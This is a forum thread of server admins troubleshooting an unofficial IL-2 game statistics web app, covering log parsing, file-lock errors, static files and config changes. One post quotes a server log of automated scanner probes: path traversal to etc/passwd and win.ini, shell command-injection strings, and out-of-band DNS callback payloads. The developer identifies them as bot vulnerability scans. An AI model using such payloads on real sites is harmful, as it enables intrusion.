IL2 server stats (unofficial)

[NN_Kervinou]

On 4/18/2023 at 1:17 PM, =FB=Vaal said:

For the last two months there were no incompatible changes in the game logs.  So nothing needs to be converted. Statistics can parse these logs.

 

yes, but I don't have the compatible text files, the log files I have are the original ones (the binaries .mlg)

[=FB=Vaal]

Statistics does not work with binary logs. It is easier to forget about them. Or look for someone who will write a converter from binary format to text.

[NN_Kervinou]

yes, it is easier to forget them. That's what I'm going to do ?

thanks

[1PL-Husar-1Esk]

I have example

At 17:56:27 player received 0.2 % damage by enemy oponent 

At 18:06 he collided with teammate

At 18:06 information appear that he was shot down by enemy who do that 2% damage

I think this should not be granted as a kill for enemy in the stats 

[=FB=Vaal]

The problem is that aircraft collisions are not logged in any way by the game. So for statistics it is no different from the usual shooting down.

[1PL-Husar-1Esk]

1 hour ago, =FB=Vaal said:

The problem is that aircraft collisions are not logged in any way by the game. So for statistics it is no different from the usual shooting down.

I see, some version do try catch that i suppose, but i don't know how reliable it is.

 

Edited April 24, 2023 by 1PL-Husar-1Esk

[=FEW=Revolves]

2 hours ago, 1PL-Husar-1Esk said:

I see, some version do try catch that i suppose, but i don't know how reliable it is.

 

 

Not super reliable, it's based on a hack where it checks for the following condition:

 

Two planes took damage and died from "no source" (i.e. not a fire/bullet/bomb/rocket/whatever) close to each other (iirc 25m) in a span of less than 0.4 seconds. If two guys crashed pretty close to each other into the deck at the same time it would also count as a ram.

[JGr2/J5_Baeumer]

Your example is a rare one.  The stats mods do a good job of attempting to identify and provide credit to pilots who damage an opponent who then either ditches, runs away and crashes or intentionally rams someone else.  This is much more frequent than your example and therefore more important to more people to correct.

 

. 

[1PL-Husar-1Esk]

3 hours ago, J5_Baeumer said:

Your example is a rare one.  The stats mods do a good job of attempting to identify and provide credit to pilots who damage an opponent who then either ditches, runs away and crashes or intentionally rams someone else.  This is much more frequent than your example and therefore more important to more people to correct.

 

. 

This I know, there is always room for improvement, and asking is good don't you think? Especially they gathering info for stats to new project.  Recently devs added link in log to parent plane which dropped paratroopers in last patch , now player who do that mission could be granted points. Maybe now they also add link to plane which dropped supply or get ramed.

[=FEW=Revolves]

Hey @=FB=Vaal, did the log_name of the Siemens-Schuckert D.IV change with the latest hotfix?

I got a report from @J5_Baeumer that stats_whore.cmd crashes with the following error, but only since the hotfix:

 

 

Seems like a classic missing object in object.csv error, but what's weird is that the Siemens-Schuckert D.IV is in the object.csv, just not with the short name.

 

Edited May 24, 2023 by =FEW=Revolves

[=FB=Vaal]

Uploaded an updated version.

[=1stROF=stevie]

The Zipped files couldn't be unpacked on my end (windows OS).

Had to change ZIP_LZMA to ZIP_DEFLATED to make it work.

[=FI=Genosse]

Hi, =FB=Vaal!

 

Received lately this output of waitress.cmd

 

Quote

[WinError 3] The system cannot find the path specified: 'C:\\Program Files\\il2_stats\\static/css//.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
[WinError 3] The system cannot find the path specified: 'C:\\Program Files\\il2_stats\\static/&echo gtzoin$()\\ mqikid\\nz^xyu||a #\' &echo gtzoin$()\\ mqikid\\nz^xyu||a #|" &echo gtzoin$()\\ mqikid\\nz^xyu||a #/style.e0a89d4ef639.css'
[WinError 2] The system cannot find the file specified: 'C:\\Program Files\\il2_stats\\static/css/.css'
[WinError 123] The filename, directory name, or volume label syntax is incorrect: 'C:\\Program Files\\il2_stats\\static/\'"/style.e0a89d4ef639.css'
[WinError 3] The system cannot find the path specified: "C:\\Program Files\\il2_stats\\static/'.gethostbyname(lc('hitkl'.'zuqjgqzrc553c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(68).chr(122).chr(77).'/style.e0a89d4ef639.css"
[WinError 123] The filename, directory name, or volume label syntax is incorrect: 'C:\\Program Files\\il2_stats\\static/|echo cdijgm$()\\ huvmms\\nz^xyu||a #\' |echo cdijgm$()\\ huvmms\\nz^xyu||a #|" |echo cdijgm$()\\ huvmms\\nz^xyu||a #/style.e0a89d4ef639.css'
[WinError 3] The system cannot find the path specified: 'C:\\Program Files\\il2_stats\\static/css//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'
WARNING:waitress.queue:Task queue depth is 1
[WinError 123] The filename, directory name, or volume label syntax is incorrect: 'C:\\Program Files\\il2_stats\\static/".gethostbyname(lc("hitcx"."tpsxiort7d717.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(72).chr(109).chr(85)."/style.e0a89d4ef639.css'
[WinError 123] The filename, directory name, or volume label syntax is incorrect: 'C:\\Program Files\\il2_stats\\static/<!--/style.e0a89d4ef639.css'
[WinError 3] The system cannot find the path specified: 'C:\\Program Files\\il2_stats\\static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd/style.e0a89d4ef639.css'
[WinError 3] The system cannot find the path specified: 'C:\\Program Files\\il2_stats\\static/css//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini'
--- Logging error ---
Traceback (most recent call last):
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\django\core\handlers\exception.py", line 41, in inner
    response = get_response(request)
  File "C:\Program Files\il2_stats\src\stats\middleware.py", line 18, in middleware
    request.tour = Tour.objects.get(id=tour_id)
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\django\db\models\manager.py", line 85, in manager_method
    return getattr(self.get_queryset(), name)(*args, **kwargs)
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\django\db\models\query.py", line 371, in get
    clone = self.filter(*args, **kwargs)
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\django\db\models\query.py", line 787, in filter
    return self._filter_or_exclude(False, *args, **kwargs)
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\modeltranslation\manager.py", line 307, in _filter_or_exclude
    return super(MultilingualQuerySet, self)._filter_or_exclude(negate, *args, **kwargs)
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\django\db\models\query.py", line 805, in _filter_or_exclude
    clone.query.add_q(Q(*args, **kwargs))
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\django\db\models\sql\query.py", line 1250, in add_q
    clause, _ = self._add_q(q_object, self.used_aliases)
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\django\db\models\sql\query.py", line 1276, in _add_q
    allow_joins=allow_joins, split_subq=split_subq,
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\django\db\models\sql\query.py", line 1210, in build_filter
    condition = self.build_lookup(lookups, col, value)
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\django\db\models\sql\query.py", line 1104, in build_lookup
    return final_lookup(lhs, rhs)
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\django\db\models\lookups.py", line 24, in __init__
    self.rhs = self.get_prep_lookup()
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\django\db\models\lookups.py", line 74, in get_prep_lookup
    return self.lhs.output_field.get_prep_value(self.rhs)
  File "C:\Program Files\il2_stats\.venv\lib\site-packages\django\db\models\fields\__init__.py", line 966, in get_prep_value
    return int(value)
ValueError: invalid literal for int() with base 10: 'echo zhnpyr$()\\ caedxp\\nz^xyu||a #\' &echo zhnpyr$()\\ caedxp\\nz^xyu||a #|" &echo zhnpyr$()\\ caedxp\\nz^xyu||a #'

 

Any idea what going on there?

 

[=FB=Vaal]

Sounds like an attempt to find web application vulnerabilities. They are going through known vulnerabilities. I see it a lot. This is usually done by bots.

[=FI=Genosse]

2 minutes ago, =FB=Vaal said:

Sounds like an attempt to find web application vulnerabilities. They are going through known vulnerabilities. I see it a lot. This is usually done by bots.

 

I was afraid you'd mention something like this, Vaal. Thanks for you reply, mate.

 

[No.10_Ace_Ivo]

Hi @=FB=Vaal,

I just got your IL-2 stats system to work properly. It works great, thanks a lot for all your efforts! 
Two people of my squadron got this weird message from Google Safe Browsing that the site would be a fishing site. I don't get this message myself and wonder if anyone else has seen something like this on IL-2 stats before.

Link to my IL-2 stats site: http://no10j18.duckdns.org:8000/en/?tour=2

Thanks for everything,
Ivo

[=FB=Vaal]

I had not heard of such reports before. Google can test new services on a limited number of users. Maybe that's why your squadmates are getting such messages.
You can also try sending a report https://safebrowsing.google.com/safebrowsing/report_error/?hl=en

[No.10_Ace_Ivo]

On 7/9/2023 at 10:59 PM, =FB=Vaal said:

I had not heard of such reports before. Google can test new services on a limited number of users. Maybe that's why your squadmates are getting such messages.
You can also try sending a report https://safebrowsing.google.com/safebrowsing/report_error/?hl=en

Thanks, the issue seems to have resolved itself, they don't get the warning anymore.

 

I have one more question: how can you set the coalitions to Entente and Central Powers and their respective icons? It's a WW1 server so want to use this instead of the default Axis and Allies.

[=FI=Genosse]

2 hours ago, No.10_Ace_Ivo said:

Thanks, the issue seems to have resolved itself, they don't get the warning anymore.

 

I have one more question: how can you set the coalitions to Entente and Central Powers and their respective icons? It's a WW1 server so want to use this instead of the default Axis and Allies.

 

Find the conf.ini file in your /src folder and change

[stats]
skin_id = 1

 

to

 

skin_id = 2

[No.10_Ace_Ivo]

23 hours ago, =FI=Genosse said:

 

Find the conf.ini file in your /src folder and change

[stats]
skin_id = 1

 

to

 

skin_id = 2

Thank you, but how do you set the Entente and Central coalition flags and icons? 

[Haluter]

Hi @=FB=Vaal, we've been getting the following error 3 times over the past few weeks on the Combat Box server. The IL-2 Stats system stops processing the mission log files due to a file permissions/locking issue which results in the player sorties or online players not being updated on the website. The only way to resolve it temporarily is to restart the server after which it works fine for a few days.
 

[2023.08.02 14:48:42] missionReport(2023-08-02_00-31-07)[0] - exists in the DB
[2023.08.02 14:48:42] unexpected error
Traceback (most recent call last):
  File "C:\Combat_Box\il2_stats\src\stats\management\commands\stats_whore.py", line 16, in handle
    stats_whore.main()
  File "C:\Combat_Box\il2_stats\src\mod_stats_by_aircraft\stats_whore.py", line 68, in main
    cleanup(m_report_file=m_report_file)
  File "C:\Combat_Box\il2_stats\src\stats\stats_whore.py", line 116, in cleanup
    f.unlink()
  File "C:\Program Files (x86)\Python35-32\lib\pathlib.py", line 1252, in unlink
    self._accessor.unlink(self)
  File "C:\Program Files (x86)\Python35-32\lib\pathlib.py", line 371, in wrapped
    return strfunc(str(pathobj), *args)
PermissionError: [WinError 32] The process cannot access the file because it is being used by another process: 'C:\\Program Files (x86)\\1C Game Studios\\il2-expert\\data\\logs\\text\\missionReport(2023-08-02_00-31-07)[0].txt'
[2023.08.02 14:48:42] Lock 398093232 released on C:\Combat_Box\il2_stats\file.lock

 

Would appreciate it if you could assist in resolving this issue, thanks! ?

Edit: We're using v.1.2.74

Edited August 2, 2023 by haluter

[=FB=Vaal]

Version 1.2.74 is the latest version.

 

68 line in the file stats_whore.py

m_report_files = collect_mission_reports(m_report_file=m_report_file)

 

But you have a different code on line 68 in the error.

 

File "C:\Combat_Box\il2_stats\src\mod_stats_by_aircraft\stats_whore.py", line 68, in main
cleanup(m_report_file=m_report_file)

 

From which I conclude that you either have an incorrectly updated version or a modified version. That makes it difficult for me to analyze it somehow.

 

 

 

PermissionError: [WinError 32] The process cannot access the file because it is being used by another process: 'C:\\Program Files (x86)\\1C Game Studios\\il2-expert\\data\\logs\\text\\missionReport(2023-08-02_00-31-07)[0].txt'

 

The error indicates that the specified log file is already being used by some other process.

 

Statistics uses lockfile so that it cannot be run multiple times at the same time. But it works only for one directory.

So I assume that either you have some other software that blocks access to log files. Or you run several copies of statistics from different directories.

 

 

[Haluter]

17 minutes ago, =FB=Vaal said:

Version 1.2.74 is the latest version.

 

68 line in the file stats_whore.py

m_report_files = collect_mission_reports(m_report_file=m_report_file)

 

But you have a different code on line 68 in the error.

 

File "C:\Combat_Box\il2_stats\src\mod_stats_by_aircraft\stats_whore.py", line 68, in main
cleanup(m_report_file=m_report_file)

 

From which I conclude that you either have an incorrectly updated version or a modified version. That makes it difficult for me to analyze it somehow.

 

 

 

PermissionError: [WinError 32] The process cannot access the file because it is being used by another process: 'C:\\Program Files (x86)\\1C Game Studios\\il2-expert\\data\\logs\\text\\missionReport(2023-08-02_00-31-07)[0].txt'

 

The error indicates that the specified log file is already being used by some other process.

 

Statistics uses lockfile so that it cannot be run multiple times at the same time. But it works only for one directory.

So I assume that either you have some other software that blocks access to log files. Or you run several copies of statistics from different directories.

 

 

 

Thanks for the reply Vaal. I think I have a misunderstanding of how to patch an existing install of IL-2 Stats. I was under the impression we only needed to replace the updated/changed files and run update.cmd? For example:
 

src/core/__init__.py
src/objects.csv
src/stats/static/img/aircraft/halberstadt d.ii.png
src/stats/static/img/aircraft/nieuport 11.c1.png

 

It appears that this is not correct?

 

Edited August 2, 2023 by haluter

[=FB=Vaal]

These are the files that updated from 1.2.73 to 1.2.74. If you missed several versions - you need to see the lists of updated files in all missed versions.

 

Alternatively you can use github to get the differences between specific versions, but for that you need to remember the last correctly installed version. 

for example 1.2.70 to 1.2.74

https://github.com/vaal-/il2_stats//compare/1.2.70…1.2.74?diff=unified

[=IRFC=Eccho]

I am unable to get any information from the mission, this is what my stats cmd looks like. It also seems like my logs\txt folder is empty even though I made the changes to the startup.cfg. Any help is appreciated. 

C:\Users\Administrator\Downloads\il2_stats_1.2.74\il2_stats\run>cd ../src

C:\Users\Administrator\Downloads\il2_stats_1.2.74\il2_stats\src>"../.venv/Scripts/python.exe" manage.py stats_whore
[2023.08.29 21:43:54] Lock 70019696 acquired on C:\Users\Administrator\Downloads\il2_stats_1.2.74\il2_stats\file.lock
[2023.08.29 21:43:54] IL2 stats 1.2.74, Python 3.5.2, Django 1.11.29
[2023.08.29 21:43:54] waiting new report...
 

[=FB=Vaal]

make sure that parameters in startup.cfg are specified only once

[IRFCDSERVER]

 I have been getting error code 500 on certain players for a few weeks now. Any idea why? It also says on every rotation that "mission rotation has not been completed correctly"

Edited November 7, 2023 by IRFCDSERVER

[=FB=Vaal]

The web server logs should have more detailed information about error 500.

I can assume that these players favorite plane does not have a picture or maybe the file name is not correct.

 

You can also try to temporarily enable debug mode. To do this, edit the src/core/settings.py file
DEBUG = False
change it to 
DEBUG = True

 

Then be sure to bring it back because it's a security breach.

 

 

On the second question. Maybe you mean "mission has not been completed correctly"?

 

 

 

[IRFCDSERVER]

40 minutes ago, =FB=Vaal said:

The web server logs should have more detailed information about error 500.

I can assume that these players favorite plane does not have a picture or maybe the file name is not correct.

 

You can also try to temporarily enable debug mode. To do this, edit the src/core/settings.py file
DEBUG = False
change it to 
DEBUG = True

 

Then be sure to bring it back because it's a security breach.

 

 

On the second question. Maybe you mean "mission has not been completed correctly"?

 

 

 

 This is the error I see in in django log. It appears numerous times. I attempted to replace the albatros d.ii files and whatnot to no avail.

  raise ValueError("Missing staticfiles manifest entry for '%s'" % clean_name)
ValueError: Missing staticfiles manifest entry for 'img/aircraft/albatros d.ii.png'
2023-09-26 17:17:39,970 ERROR Internal Server Error: /en/pilot/67/Snoopy11/

And second question..yes, that is what I meant. 

Edited November 8, 2023 by IRFCDSERVER

[=FEW=Revolves]

You probably just need to run collectstatic.cmd or update.cmd and then restart the waitress to fix that error.

[=FB=Vaal]

As =FEW=Revolves wrote above you will need to run collectstatic.cmd or update.cmd

 

reliminarily checking that the correct file is in the folder

il2_stats\src\stats\static\img\aircraft

 

On the second question

This warning occurs when parsing fails to find an entry in the logs indicating that the mission has ended.

The game writes logs once every 30 seconds or even more often when players spawn.

The statistics checks that no new logs have been created for the last 2 minutes and then starts processing.

 

This is a warning, it is not a critical error.
You can check the text logs of the missions that they have a line containing AType:7 in the last file, if there is this substring, then compare the date of the last and penultimate files. How many seconds elapsed between the creation of these two files.

Preliminary check that you have disabled the deletion of old files, otherwise you will have to check in real time.

in conf.ini

[stats]
mission_report_delete = false

 

 

[=FI=Genosse]

After the latest update (5.108) the stats doesn't seem to work anymore: the stats don't get updated. IL-2 still created mission reports but somehow those reports are being ignored.

Output IL-2 Stats Reporter

Quote

C:\Program Files\il2_stats\run>cd ../src

C:\Program Files\il2_stats\src>"../.venv/Scripts/python.exe" manage.py stats_whore
[2023.11.22 05:44:20] Lock 1871605147128 acquired on C:\Program Files\il2_stats\file.lock
[2023.11.22 05:44:20] IL2 stats 1.2.76, Python 3.5.2, Django 1.11.29
[2023.11.22 05:44:20] waiting new report...

 

It seems like the stats reporter can't read the mission reports ...
 

Any idea where I should start to look at in order to get this fixed?

Edited November 22, 2023 by =FI=Genosse

[=FB=Vaal]

If you are sure that the server creates text log files of missions - you need to check that the configuration specifies the correct paths to the game. And that in the game settings the path where the game saves log files is not specified more than once.

[=FI=Genosse]

I've added following lines to the server's startup.cfg ...
 

Quote

mission_text_log = 1
text_log_folder = "logs\txt\"

 

... and it seems to work again.

Any way to get the content of the backed up mission reports included into the stats?

 

[=FB=Vaal]

You can copy the txt files to the text_log_folder . Statistics will process files that are not yet in the database.

[=FI=Genosse]

Is there a way to reward pilots for finishing successfully a recon mission? Right now the get diddly-squat for their efforts ...

Edited February 14, 2024 by =FI=Genosse

[=FB=Vaal]

As far as I know these events are not logged with a player id, so there is no way.
 

[Haluter]

@=FB=Vaal Would you please consider adding support for paradrops in the scoring? At the moment players do not get any points for paradrops, and that is very demotivating for many of them.

[354thFG_Leifr]

Yes please @=FB=Vaal!

There are many folks online who enjoy flying the C47, JU52 and the newer Li-2 but they are currently not able to generate points for their (heroic, often deathly) endeavours.

[=FB=Vaal]

For statistics from the game logs is available only information that the player dropped a troop with coordinates (dropping containers is not logged). Statistics does not know anything about the tasks of missions, where, for example, it was necessary to perform the drop of paratroopers and so on.

So it is not technically possible within the universal statistics system.